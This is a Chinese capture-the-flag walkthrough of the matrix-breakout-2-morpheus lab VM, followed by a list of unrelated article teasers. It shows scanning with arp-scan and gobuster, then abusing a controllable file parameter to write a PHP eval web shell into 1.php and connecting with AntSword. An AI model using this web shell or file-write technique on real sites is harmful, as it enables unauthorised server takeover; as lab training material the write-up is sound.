matrix-breakout-2-morpheus
将这一关的镜像导入虚拟机，出现以下页面表示导入成功
以root身份打开kali终端，输入以下命令，查看靶机ip
arp-scan -l
根据得到的靶机ip，浏览器访问进入环境
我们从当前页面没有得到有用的信息，尝试扫描后台
发现有一个后台目录文件robots.txt，尝试访问
没有得到有用的信息，尝试端口扫描
分别访问这几个端口，也没有什么发现，我们换个思路
还是将重点放回80端口，因为robot.txt提示我们继续找找，可能是因为我们的字典太小了，我们换个扫描器换个字典试下,利用kali自带的最大的一个字典
cd /usr/share/wordlists/dirbuster/ls -al
gobuster dir -u http://192.168.164.147/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php提示没有安装gobuster（颜色没变）
先更新apt，再安装gobuster
apt update 
apt install gobuster
运行gobuster查看是否安装成功
再次执行上面的那条命令
尝试后缀名拼接到ip后面访问
在输入框中随便输入，发现输入的数据被显示到页面上，抓包
发现网站会将提交的内容追加到graffiti.txt文件中，由于file参数是可控的，那么我们可以修改文件名改变文件上传的路径，尝试上传一句话木马到1.php中
<?php @eval($_POST[a]);?>
浏览器访问1.php
蚁剑连接
测试连接成功，添加，成功获取权限
相关文章：
matrix-breakout-2-morpheus
将这一关的镜像导入虚拟机，出现以下页面表示导入成功 以root身份打开kali终端，输入以下命令，查看靶机ip arp-scan -l 根据得到的靶机ip，浏览器访问进入环境 我们从当前页面没有得到有用的信息，尝试扫描后台 发现有一个…...
农历节日倒计时：基于Python的公历与农历日期转换及节日查询小程序
农历节日倒计时：基于Python的公历与农历日期转换及节日查询小程序 摘要 又是一年春节即将到来，突然想基于Python编写一个农历节日的倒计时小程序。该程序能够根据用户输入的农历节日名称，计算出距离该节日还有多少天。通过使用lunardate库进…...
【RabbitMQ的死信队列】
死信队列 什么是死信队列死信队列的配置方式死信消息结构 什么是死信队列 消息被消费者确认拒绝。消费者把requeue参数设置为true(false)，并且在消费后，向RabbitMQ返回拒绝。channel.basicReject或者channel.basicNack。消息达到预设的TTL时限还一直没有…...
掌握软件工程基础：知识点全面解析【chap02】
chap02 软件项目管理 1.代码行度量与功能点度量的比较 1.规模度量 是一种直接度量方法。 代码行数 LOC或KLOC 生产率 P1L/E 其中 L 软件项目代码行数 E 软件项目工作量（人月 PM） P1 软件项目生产率（LOC/PM） 代码出错…...
公路边坡安全监测中智能化+定制化+全面守护的应用方案
面对公路边坡的安全挑战，我们如何精准施策，有效应对风险？特别是在强降雨等极端天气下，如何防范滑坡、崩塌、路面塌陷等灾害，确保行车安全？国信华源公路边坡安全监测解决方案，以智能化、定制化为…...
闲谭Scala(3)--使用IDEA开发Scala
1. 背景 广阔天地、大有作为的青年，怎么可能仅仅满足于命令行。 高端大气集成开发环境IDEA必须顶上，提高学习、工作效率。 开整。 2. 步骤 2.1 创建工程 打开IDEA，依次File-New-Project…，不好意思我的是中文版：…...
Go语言反射从入门到进阶
一、反射的基础概念 在 Go 语言中，反射是程序在运行时检查和修改自身状态的能力。通过反射，我们可以在运行时获取变量的类型信息、查看结构体的字段、调用方法等。Go 语言的反射功能主要通过 reflect 包实现。 1.1 反射的基本类型：Type 和 …...
【基于rust-wasm的前端页面转pdf组件和示例】
基于rust-wasm前端页面转pdf组件和示例 朔源多余的废话花哨的吹牛那点东西要不要拿来试试事到如今 做个美梦 我觉得本文的意义在于,wasm扩展了浏览器的边界,但是又担心如同java的web applet水土不服. 如同我至今看不出塞班和iOS的不同下载地址：在github的备份 朔源…...
ARM64 Windows 10 IoT工控主板运行x86程序效率测试
ARM上的 Windows 10 IoT 企业版支持仿真 x86 应用程序，而 ARM上的 Windows 11 IoT 企业版则支持仿真 x86 和 x64 应用程序。英创推出的名片尺寸ARM64工控主板ESM8400，可预装正版Windows 10 IoT企业版操作系统，x86程序可无需修改而直接在ESM84…...
开放世界目标检测 Grounding DINO
开放世界目标检测 Grounding DINO flyfish Grounding DINO 是一种开创性的开放集对象检测器，它通过结合基于Transformer的检测器DINO与基于文本描述的预训练技术，实现了可以根据人类输入（如类别名称或指代表达）检测任意对象的功…...
easegen将教材批量生成可控ppt课件方案设计
之前客户提出过一个需求，就是希望可以将一本教材，快速的转换为教学ppt，虽然通过人工程序脚本的方式，已经实现了该功能，但是因为没有做到通用，每次都需要修改脚本，无法让客户自行完成所有流程&am…...
2002 - Can‘t connect to server on ‘192.168.1.XX‘ (36)
参考:2002 - Can‘t connect to server on ‘192.168.1.XX‘ (36) ubantu20.04，mysql5.7.13 navicat 远程连接数据库报错 2002 - Can’t connect to server on ‘192.168.1.61’ (36) 一、查看数据库服务是否有启动，发现有启动 systemctl status mysql…...
【虚拟机网络拓扑记录】
虚拟机网络拓扑记录 虚拟机安装windows到ubuntu的网络拓扑ubuntu到ubuntu里面的虚拟机网络拓扑windows到ubuntu里面的虚拟机网络拓扑 虚拟机安装 本实验宿主机为windos， 安装vmware，虚拟机操作系统使用ubuntu，然后再在ubuntu上面创建新的虚拟…...
【单片机通讯协议】—— 常用的UART/I2C/SPI等通讯协议的基本原理与时序分析
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言一、通信基本知识1.1 MCU的参见外设1.2 通信的分类按基本的类型从传输方向上来分 二、UART（串口通讯）2.1 简介2.2 时序图分析2.3 UART的…...
Vue3 核心语法
1. OptionsAPI 与 CompositionAPI Vue2 的API设计是 Options（配置）风格的。Vue3 的API设计是 Composition（组合）风格的。 1.1 Options API 的弊端 Options类型的 API，数据、方法、计算属性等，是分散在&a…...
LLaMA-Factory GLM4-9B-CHAT LoRA 指令微调实战
🤩LLaMA-Factory GLM LoRA 微调 安装llama-factory包 git clone --depth 1 https://github.com/hiyouga/LLaMA-Factory.git进入下载好的llama-factory，安装依赖包 cd LLaMA-Factory pip install -e ".[torch,metrics]" #上面这步操作会完成…...
GTM023 W.H.Greub线性代数经典教材：Linear Algebra
这本教材是我高中时期入门线性代数的主要教材，我的很多基础知识都来源于这本书，如今看回这本书可以说满满的回忆。这本书可以说，是我读过的内容最为全面且完备的线性代数教材了。而且它的语言风格非常的代数化，没有什么直观可言&a…...
交换机与路由器的区别
交换机和路由器是网络中的两种关键设备，它们各自承担不同的功能，主要区别体现在以下几个方面： 一、工作层次与功能 交换机： 工作层次：交换机主要工作在OSI模型的第二层，即数据链路层。 功能：交…...
springboot502基于WEB的牙科诊所管理系统(论文+源码)_kaic
牙科诊所管理系统的设计与实现 摘要 近年来，信息化管理行业的不断兴起，使得人们的日常生活越来越离不开计算机和互联网技术。首先，根据收集到的用户需求分析，对设计系统有一个初步的认识与了解，确定牙科诊所管理系统的…...
soular使用教程
用 soular 配置你的组织，工作更高效！以下是快速上手的简单步骤：  1. 账号管理 可以对账号信息进行多方面管理，包括分配不同的部门、用户组等，从而确保账号权限和职责的清晰分配。  1.1 用…...
别再看水刊了！智能故障诊断领域投稿，这20+个SCI期刊才是你的目标（附避坑指南）
智能故障诊断领域投稿指南：20高价值SCI期刊与避坑策略 对于从事智能故障诊断研究的学者而言，选择合适的SCI期刊投稿是研究成果获得认可的关键一步。本文将系统梳理该领域的优质期刊资源，帮助您避开常见陷阱，提高投稿成功率。 1. 智…...
C++的std--ranges容错系统
C的std::ranges容错系统：现代编程的稳健之道 在C20标准中，std::ranges库的引入彻底改变了算法与容器的交互方式，其容错机制为开发者提供了更安全、更灵活的编程体验。传统迭代器容易因越界或无效操作导致未定义行为，而std::range…...
**雾计算中的边缘智能：基于Python的轻量级任务调度系统设计与实现**在物联网（IoT）飞速发展的今天，传统云
雾计算中的边缘智能：基于Python的轻量级任务调度系统设计与实现 在物联网（IoT）飞速发展的今天，传统云计算模式已难以满足低延迟、高带宽和实时响应的需求。**雾计算（Fog Computing）**作为云与终端设备之间的…...
3步打造自平衡机器人：零基础实战DIY攻略
3步打造自平衡机器人：零基础实战DIY攻略 【免费下载链接】Cubli_Mini 项目地址: https://gitcode.com/gh_mirrors/cu/Cubli_Mini 自平衡机器人作为 robotics 领域的经典项目，一直是爱好者入门的理想选择。Cubli_Mini 作为开源项目中的佼佼者&…...
从零构建STM32 OTA升级系统：BootLoader设计、IAP实现与APP无缝跳转实战
1. 为什么需要OTA升级系统 想象一下你开发的智能硬件产品已经卖出去几千台，突然发现固件有个致命bug需要修复，或者要增加一个用户期待已久的新功能。传统做法是让用户把设备寄回工厂，或者带着设备到维修点刷机——这简直是开发者的噩梦&#…...
Qwen3-TTS-12Hz-1.7B-Base应用场景：智能音箱多语种交互语音引擎升级
Qwen3-TTS-12Hz-1.7B-Base应用场景：智能音箱多语种交互语音引擎升级 重要提示：本文仅讨论技术实现方案，所有内容均基于公开技术文档和测试数据，不涉及任何政治敏感内容，完全符合内容安全规范。 1. 智能音箱语音交互的现…...
终极Übersicht小部件调试指南：10个实用工具和高效方法
终极bersicht小部件调试指南：10个实用工具和高效方法 【免费下载链接】uebersicht ˈyːbɐˌzɪt 项目地址: https://gitcode.com/gh_mirrors/ue/uebersicht bersicht是一款强大的macOS桌面小部件工具，让开发者能够在桌面上创建和运行自定义小部…...
告别重复造轮子：用快马AI一键生成可配置的魔鬼面具UI组件库
作为一个经常需要处理各种UI组件的前端开发者，最近在做一个万圣节主题项目时，遇到了一个有趣的挑战：需要快速开发一套可配置的魔鬼面具组件库。传统手动编码方式不仅耗时，而且难以应对多风格需求。幸运的是，我发现了In…...
OpCore-Simplify：开源系统硬件适配自动化的技术突破
OpCore-Simplify：开源系统硬件适配自动化的技术突破 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 在开源系统定制领域，硬件兼…...
解决Legado书源调试难题：从问题诊断到环境优化的完整指南
解决Legado书源调试难题：从问题诊断到环境优化的完整指南 【免费下载链接】legado Legado 3.0 Book Reader with powerful controls & full functions❤️阅读3.0, 阅读是一款可以自定义来源阅读网络内容的工具，为广大网络文学爱好者提供一种方便、快…...